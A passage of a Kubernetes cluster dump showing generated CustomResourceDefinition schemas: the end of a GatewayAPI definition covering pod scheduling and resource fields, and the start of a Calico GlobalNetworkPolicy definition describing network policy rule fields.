                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the anti-affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the anti-affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                  type: object
                                containers:
                                  items:
                                    description: |-
                                      GatewayDeploymentContainer allows customization of the resource requirements of gateway
                                      deployments.
                                      If GatewayDeployment.Spec.Template.Spec.Containers["envoy"].Resources is non-nil, it overrides
                                      the ResourceRequirements of the "envoy" container in each gateway deployment.
                                    properties:
                                      name:
                                        enum:
                                        - envoy
                                        type: string
                                      resources:
                                        description: ResourceRequirements describes
                                          the compute resource requirements.
                                        properties:
                                          claims:
                                            description: |-
                                              Claims lists the names of resources, defined in spec.resourceClaims,
                                              that are used by this container.
                                              This is an alpha field and requires enabling the
                                              DynamicResourceAllocation feature gate.
                                              This field is immutable. It can only be set for containers.
                                            items:
                                              description: ResourceClaim references
                                                one entry in PodSpec.ResourceClaims.
                                              properties:
                                                name:
                                                  description: |-
                                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                                    the Pod where this field is used. It makes that resource available
                                                    inside a container.
                                                  type: string
                                                request:
                                                  description: |-
                                                    Request is the name chosen for a request in the referenced claim.
                                                    If empty, everything from the claim is made available, otherwise
                                                    only the result of this request.
                                                  type: string
                                              required:
                                              - name
                                              type: object
                                            type: array
                                            x-kubernetes-list-map-keys:
                                            - name
                                            x-kubernetes-list-type: map
                                          limits:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Limits describes the maximum amount of compute resources allowed.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                          requests:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Requests describes the minimum amount of compute resources required.
                                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                        type: object
                                    required:
                                    - name
                                    type: object
                                  type: array
                                nodeSelector:
                                  additionalProperties:
                                    type: string
                                  type: object
                                tolerations:
                                  items:
                                    description: |-
                                      The pod this Toleration is attached to tolerates any taint that matches
                                      the triple <key,value,effect> using the matching operator <operator>.
                                    properties:
                                      effect:
                                        description: |-
                                          Effect indicates the taint effect to match. Empty means match all taint effects.
                                          When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                        type: string
                                      key:
                                        description: |-
                                          Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                          If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                        type: string
                                      operator:
                                        description: |-
                                          Operator represents a key's relationship to the value.
                                          Valid operators are Exists and Equal. Defaults to Equal.
                                          Exists is equivalent to wildcard for value, so that a pod can
                                          tolerate all taints of a particular category.
                                        type: string
                                      tolerationSeconds:
                                        description: |-
                                          TolerationSeconds represents the period of time the toleration (which must be
                                          of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                          it is not set, which means tolerate the taint forever (do not evict). Zero and
                                          negative values will be treated as 0 (evict immediately) by the system.
                                        format: int64
                                        type: integer
                                      value:
                                        description: |-
                                          Value is the taint value the toleration matches to.
                                          If the operator is Exists, the value should be empty, otherwise just a regular string.
                                        type: string
                                    type: object
                                  type: array
                                topologySpreadConstraints:
                                  description: |-
                                    TopologySpreadConstraints describes how a group of pods ought to spread across topology
                                    domains. Scheduler will schedule pods in a way which abides by the constraints.
                                    All topologySpreadConstraints are ANDed.
                                  items:
                                    description: TopologySpreadConstraint specifies
                                      how to spread matching pods among the given
                                      topology.
                                    properties:
                                      labelSelector:
                                        description: |-
                                          LabelSelector is used to find matching pods.
                                          Pods that match this label selector are counted to determine the number of pods
                                          in their corresponding topology domain.
                                        properties:
                                          matchExpressions:
                                            description: matchExpressions is a list
                                              of label selector requirements. The
                                              requirements are ANDed.
                                            items:
                                              description: |-
                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                relates the key and values.
                                              properties:
                                                key:
                                                  description: key is the label key
                                                    that the selector applies to.
                                                  type: string
                                                operator:
                                                  description: |-
                                                    operator represents a key's relationship to a set of values.
                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                  type: string
                                                values:
                                                  description: |-
                                                    values is an array of string values. If the operator is In or NotIn,
                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                    the values array must be empty. This array is replaced during a strategic
                                                    merge patch.
                                                  items:
                                                    type: string
                                                  type: array
                                                  x-kubernetes-list-type: atomic
                                              required:
                                              - key
                                              - operator
                                              type: object
                                            type: array
                                            x-kubernetes-list-type: atomic
                                          matchLabels:
                                            additionalProperties:
                                              type: string
                                            description: |-
                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                            type: object
                                        type: object
                                        x-kubernetes-map-type: atomic
                                      matchLabelKeys:
                                        description: |-
                                          MatchLabelKeys is a set of pod label keys to select the pods over which
                                          spreading will be calculated. The keys are used to lookup values from the
                                          incoming pod labels, those key-value labels are ANDed with labelSelector
                                          to select the group of existing pods over which spreading will be calculated
                                          for the incoming pod. The same key is forbidden to exist in both MatchLabelKeys and LabelSelector.
                                          MatchLabelKeys cannot be set when LabelSelector isn't set.
                                          Keys that don't exist in the incoming pod labels will
                                          be ignored. A null or empty list means only match against labelSelector.
                                          This is a beta field and requires the MatchLabelKeysInPodTopologySpread feature gate to be enabled (enabled by default).
                                        items:
                                          type: string
                                        type: array
                                        x-kubernetes-list-type: atomic
                                      maxSkew:
                                        description: |-
                                          MaxSkew describes the degree to which pods may be unevenly distributed.
                                          When `whenUnsatisfiable=DoNotSchedule`, it is the maximum permitted difference
                                          between the number of matching pods in the target topology and the global minimum.
                                          The global minimum is the minimum number of matching pods in an eligible domain
                                          or zero if the number of eligible domains is less than MinDomains.
                                          For example, in a 3-zone cluster, MaxSkew is set to 1, and pods with the same
                                          labelSelector spread as 2/2/1:
                                          In this case, the global minimum is 1.
                                          | zone1 | zone2 | zone3 |
                                          |  P P  |  P P  |   P   |
                                          - if MaxSkew is 1, incoming pod can only be scheduled to zone3 to become 2/2/2;
                                          scheduling it onto zone1(zone2) would make the ActualSkew(3-1) on zone1(zone2)
                                          violate MaxSkew(1).
                                          - if MaxSkew is 2, incoming pod can be scheduled onto any zone.
                                          When `whenUnsatisfiable=ScheduleAnyway`, it is used to give higher precedence
                                          to topologies that satisfy it.
                                          It's a required field. Default value is 1 and 0 is not allowed.
                                        format: int32
                                        type: integer
                                      minDomains:
                                        description: |-
                                          MinDomains indicates a minimum number of eligible domains.
                                          When the number of eligible domains with matching topology keys is less than minDomains,
                                          Pod Topology Spread treats "global minimum" as 0, and then the calculation of Skew is performed.
                                          And when the number of eligible domains with matching topology keys equals or greater than minDomains,
                                          this value has no effect on scheduling.
                                          As a result, when the number of eligible domains is less than minDomains,
                                          scheduler won't schedule more than maxSkew Pods to those domains.
                                          If value is nil, the constraint behaves as if MinDomains is equal to 1.
                                          Valid values are integers greater than 0.
                                          When value is not nil, WhenUnsatisfiable must be DoNotSchedule.
                                          For example, in a 3-zone cluster, MaxSkew is set to 2, MinDomains is set to 5 and pods with the same
                                          labelSelector spread as 2/2/2:
                                          | zone1 | zone2 | zone3 |
                                          |  P P  |  P P  |  P P  |
                                          The number of domains is less than 5(MinDomains), so "global minimum" is treated as 0.
                                          In this situation, new pod with the same labelSelector cannot be scheduled,
                                          because computed skew will be 3(3 - 0) if new Pod is scheduled to any of the three zones,
                                          it will violate MaxSkew.
                                        format: int32
                                        type: integer
                                      nodeAffinityPolicy:
                                        description: |-
                                          NodeAffinityPolicy indicates how we will treat Pod's nodeAffinity/nodeSelector
                                          when calculating pod topology spread skew. Options are:
                                          - Honor: only nodes matching nodeAffinity/nodeSelector are included in the calculations.
                                          - Ignore: nodeAffinity/nodeSelector are ignored. All nodes are included in the calculations.
                                          If this value is nil, the behavior is equivalent to the Honor policy.
                                          This is a beta-level feature default enabled by the NodeInclusionPolicyInPodTopologySpread feature flag.
                                        type: string
                                      nodeTaintsPolicy:
                                        description: |-
                                          NodeTaintsPolicy indicates how we will treat node taints when calculating
                                          pod topology spread skew. Options are:
                                          - Honor: nodes without taints, along with tainted nodes for which the incoming pod
                                          has a toleration, are included.
                                          - Ignore: node taints are ignored. All nodes are included.
                                          If this value is nil, the behavior is equivalent to the Ignore policy.
                                          This is a beta-level feature default enabled by the NodeInclusionPolicyInPodTopologySpread feature flag.
                                        type: string
                                      topologyKey:
                                        description: |-
                                          TopologyKey is the key of node labels. Nodes that have a label with this key
                                          and identical values are considered to be in the same topology.
                                          We consider each <key, value> as a "bucket", and try to put balanced number
                                          of pods into each bucket.
                                          We define a domain as a particular instance of a topology.
                                          Also, we define an eligible domain as a domain whose nodes meet the requirements of
                                          nodeAffinityPolicy and nodeTaintsPolicy.
                                          e.g. If TopologyKey is "kubernetes.io/hostname", each Node is a domain of that topology.
                                          And, if TopologyKey is "topology.kubernetes.io/zone", each zone is a domain of that topology.
                                          It's a required field.
                                        type: string
                                      whenUnsatisfiable:
                                        description: |-
                                          WhenUnsatisfiable indicates how to deal with a pod if it doesn't satisfy
                                          the spread constraint.
                                          - DoNotSchedule (default) tells the scheduler not to schedule it.
                                          - ScheduleAnyway tells the scheduler to schedule the pod in any location,
                                            but giving higher precedence to topologies that would help reduce the
                                            skew.
                                          A constraint is considered "Unsatisfiable" for an incoming pod
                                          if and only if every possible node assignment for that pod would violate
                                          "MaxSkew" on some topology.
                                          For example, in a 3-zone cluster, MaxSkew is set to 1, and pods with the same
                                          labelSelector spread as 3/1/1:
                                          | zone1 | zone2 | zone3 |
                                          | P P P |   P   |   P   |
                                          If WhenUnsatisfiable is set to DoNotSchedule, incoming pod can only be scheduled
                                          to zone2(zone3) to become 3/2/1(3/1/2) as ActualSkew(2-1) on zone2(zone3) satisfies
                                          MaxSkew(1). In other words, the cluster can still be imbalanced, but scheduler
                                          won't make it *more* imbalanced.
                                          It's a required field.
                                        type: string
                                    required:
                                    - maxSkew
                                    - topologyKey
                                    - whenUnsatisfiable
                                    type: object
                                  type: array
                              type: object
                          type: object
                      type: object
                  type: object
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: GatewayAPI
      listKind: GatewayAPIList
      plural: gatewayapis
      singular: gatewayapi
    conditions:
    - lastTransitionTime: "2025-10-19T16:10:24Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-10-19T16:10:24Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"globalnetworkpolicies.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"GlobalNetworkPolicy","listKind":"GlobalNetworkPolicyList","plural":"globalnetworkpolicies","singular":"globalnetworkpolicy"},"preserveUnknownFields":false,"scope":"Cluster","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"properties":{"applyOnForward":{"description":"ApplyOnForward indicates to apply the rules in this policy on forward traffic.","type":"boolean"},"doNotTrack":{"description":"DoNotTrack indicates whether packets matched by the rules in this policy should go through\nthe data plane's connection tracking, such as Linux conntrack.  If True, the rules in\nthis policy are applied before any data plane connection tracking, and packets allowed by\nthis policy are marked as not to be tracked.","type":"boolean"},"egress":{"description":"The ordered set of egress rules.  Each rule contains a set of packet match criteria and\na corresponding action to apply.","items":{"description":"A Rule encapsulates a set of match criteria and an action.  Both selector-based security Policy\nand security Profiles reference rules - separated out as a list of rules for both\ningress and egress packet matching.\n\nEach positive match criteria has a negated version, prefixed with \"Not\". All the match\ncriteria within a rule must be satisfied for a packet to match. A single rule can contain\nthe positive and negative version of a match and both must be satisfied for the rule to match.","properties":{"action":{"type":"string"},"destination":{"description":"Destination contains the match criteria that apply to destination entity.","properties":{"namespaceSelector":{"description":"NamespaceSelector is an optional field that contains a selector expression. Only traffic\nthat originates from (or terminates at) endpoints within the selected namespaces will be\nmatched. When both NamespaceSelector and another selector are defined on the same rule, then only\nworkload endpoints that are matched by both selectors will be selected by the rule.\n\nFor NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting\nonly workload endpoints in the same namespace as the NetworkPolicy.\n\nFor NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting\nonly GlobalNetworkSet or HostEndpoint.\n\nFor GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload\nendpoints across all namespaces.","type":"string"},"nets":{"description":"Nets is an optional field that restricts the rule to only apply to traffic that\noriginates from (or terminates at) IP addresses in any of the given subnets.","items":{"type":"string"},"type":"array"},"notNets":{"description":"NotNets is the negated version of the Nets field.","items":{"type":"string"},"type":"array"},"notPorts":{"description":"NotPorts is the negated version of the Ports field.\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"notSelector":{"description":"NotSelector is the negated version of the Selector field.  See Selector field for\nsubtleties with negated selectors.","type":"string"},"ports":{"description":"Ports is an optional field that restricts the rule to only apply to traffic that has a\nsource (destination) port that matches one of these ranges/values. This value is a\nlist of integers or strings that represent ranges of ports.\n\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"selector":{"description":"Selector is an optional field that contains a selector expression (see Policy for\nsample syntax).  Only traffic that originates from (terminates at) endpoints matching\nthe selector will be matched.\n\nNote that: in addition to the negated version of the Selector (see NotSelector below), the\nselector expression syntax itself supports negation.  The two types of negation are subtly\ndifferent. One negates the set of matched endpoints, the other negates the whole match:\n\n\tSelector = \"!has(my_label)\" matches packets that are from other Calico-controlled\n\tendpoints that do not have the label \"my_label\".\n\n\tNotSelector = \"has(my_label)\" matches packets that are not from Calico-controlled\n\tendpoints that do have the label \"my_label\".\n\nThe effect is that the latter will accept packets from non-Calico sources whereas the\nformer is limited to packets from Calico-controlled endpoints.","type":"string"},"serviceAccounts":{"description":"ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or\nterminates at) a pod running as a matching service account.","properties":{"names":{"description":"Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates\nat) a pod running as a service account whose name is in the list.","items":{"type":"string"},"type":"array"},"selector":{"description":"Selector is an optional field that restricts the rule to only apply to traffic that originates from\n(or terminates at) a pod running as a service account that matches the given label selector.\nIf both Names and Selector are specified then they are AND'ed.","type":"string"}},"type":"object"},"services":{"description":"Services is an optional field that contains options for matching Kubernetes Services.\nIf specified, only traffic that originates from or terminates at endpoints within the selected\nservice(s) will be matched, and only to/from each endpoint's port.\n\nServices cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,\nNotNets or ServiceAccounts.\n\nPorts and NotPorts can only be specified with Services on ingress rules.","properties":{"name":{"description":"Name specifies the name of a Kubernetes Service to match.","type":"string"},"namespace":{"description":"Namespace specifies the namespace of the given Service. If left empty, the rule\nwill match within this policy's namespace.","type":"string"}},"type":"object"}},"type":"object"},"http":{"description":"HTTP contains match criteria that apply to HTTP requests.","properties":{"methods":{"description":"Methods is an optional field that restricts the rule to apply only to HTTP requests that use one of the listed\nHTTP Methods (e.g. GET, PUT, etc.)\nMultiple methods are OR'd together.","items":{"type":"string"},"type":"array"},"paths":{"description":"Paths is an optional field that restricts the rule to apply to HTTP requests that use one of the listed\nHTTP Paths.\nMultiple paths are OR'd together.\ne.g:\n- exact: /foo\n- prefix: /bar\nNOTE: Each entry may ONLY specify either a `exact` or a `prefix` match. The validator will check for it.","items":{"description":"HTTPPath specifies an HTTP path to match. It may be either of the form:\nexact: \u003cpath\u003e: which matches the path exactly or\nprefix: \u003cpath-prefix\u003e: which matches the path prefix","properties":{"exact":{"type":"string"},"prefix":{"type":"string"}},"type":"object"},"type":"array"}},"type":"object"},"icmp":{"description":"ICMP is an optional field that restricts the rule to apply to a specific type and\ncode of ICMP traffic.  This should only be specified if the Protocol field is set to\n\"ICMP\" or \"ICMPv6\".","properties":{"code":{"description":"Match on a specific ICMP code.  If specified, the Type value must also be specified.\nThis is a technical limitation imposed by the kernel's iptables firewall, which\nCalico uses to enforce the rule.","type":"integer"},"type":{"description":"Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request\n(i.e. pings).","type":"integer"}},"type":"object"},"ipVersion":{"description":"IPVersion is an optional field that restricts the rule to only match a specific IP\nversion.","type":"integer"},"metadata":{"description":"Metadata contains additional information for this rule","properties":{"annotations":{"additionalProperties":{"type":"string"},"description":"Annotations is a set of key value pairs that give extra information about the rule","type":"object"}},"type":"object"},"notICMP":{"description":"NotICMP is the negated version of the ICMP field.","properties":{"code":{"description":"Match on a specific ICMP code.  If specified, the Type value must also be specified.\nThis is a technical limitation imposed by the kernel's iptables firewall, which\nCalico uses to enforce the rule.","type":"integer"},"type":{"description":"Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request\n(i.e. pings).","type":"integer"}},"type":"object"},"notProtocol":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"NotProtocol is the negated version of the Protocol field.","pattern":"^.*","x-kubernetes-int-or-string":true},"protocol":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Protocol is an optional field that restricts the rule to only apply to traffic of\na specific IP protocol. Required if any of the EntityRules contain Ports\n(because ports only apply to certain protocols).\n\nMust be one of these string values: \"TCP\", \"UDP\", \"ICMP\", \"ICMPv6\", \"SCTP\", \"UDPLite\"\nor an integer in the range 1-255.","pattern":"^.*","x-kubernetes-int-or-string":true},"source":{"description":"Source contains the match criteria that apply to source entity.","properties":{"namespaceSelector":{"description":"NamespaceSelector is an optional field that contains a selector expression. Only traffic\nthat originates from (or terminates at) endpoints within the selected namespaces will be\nmatched. When both NamespaceSelector and another selector are defined on the same rule, then only\nworkload endpoints that are matched by both selectors will be selected by the rule.\n\nFor NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting\nonly workload endpoints in the same namespace as the NetworkPolicy.\n\nFor NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting\nonly GlobalNetworkSet or HostEndpoint.\n\nFor GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload\nendpoints across all namespaces.","type":"string"},"nets":{"description":"Nets is an optional field that restricts the rule to only apply to traffic that\noriginates from (or terminates at) IP addresses in any of the given subnets.","items":{"type":"string"},"type":"array"},"notNets":{"description":"NotNets is the negated version of the Nets field.","items":{"type":"string"},"type":"array"},"notPorts":{"description":"NotPorts is the negated version of the Ports field.\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"notSelector":{"description":"NotSelector is the negated version of the Selector field.  See Selector field for\nsubtleties with negated selectors.","type":"string"},"ports":{"description":"Ports is an optional field that restricts the rule to only apply to traffic that has a\nsource (destination) port that matches one of these ranges/values. This value is a\nlist of integers or strings that represent ranges of ports.\n\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"selector":{"description":"Selector is an optional field that contains a selector expression (see Policy for\nsample syntax).  Only traffic that originates from (terminates at) endpoints matching\nthe selector will be matched.\n\nNote that: in addition to the negated version of the Selector (see NotSelector below), the\nselector expression syntax itself supports negation.  The two types of negation are subtly\ndifferent. One negates the set of matched endpoints, the other negates the whole match:\n\n\tSelector = \"!has(my_label)\" matches packets that are from other Calico-controlled\n\tendpoints that do not have the label \"my_label\".\n\n\tNotSelector = \"has(my_label)\" matches packets that are not from Calico-controlled\n\tendpoints that do have the label \"my_label\".\n\nThe effect is that the latter will accept packets from non-Calico sources whereas the\nformer is limited to packets from Calico-controlled endpoints.","type":"string"},"serviceAccounts":{"description":"ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or\nterminates at) a pod running as a matching service account.","properties":{"names":{"description":"Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates\nat) a pod running as a service account whose name is in the list.","items":{"type":"string"},"type":"array"},"selector":{"description":"Selector is an optional field that restricts the rule to only apply to traffic that originates from\n(or terminates at) a pod running as a service account that matches the given label selector.\nIf both Names and Selector are specified then they are AND'ed.","type":"string"}},"type":"object"},"services":{"description":"Services is an optional field that contains options for matching Kubernetes Services.\nIf specified, only traffic that 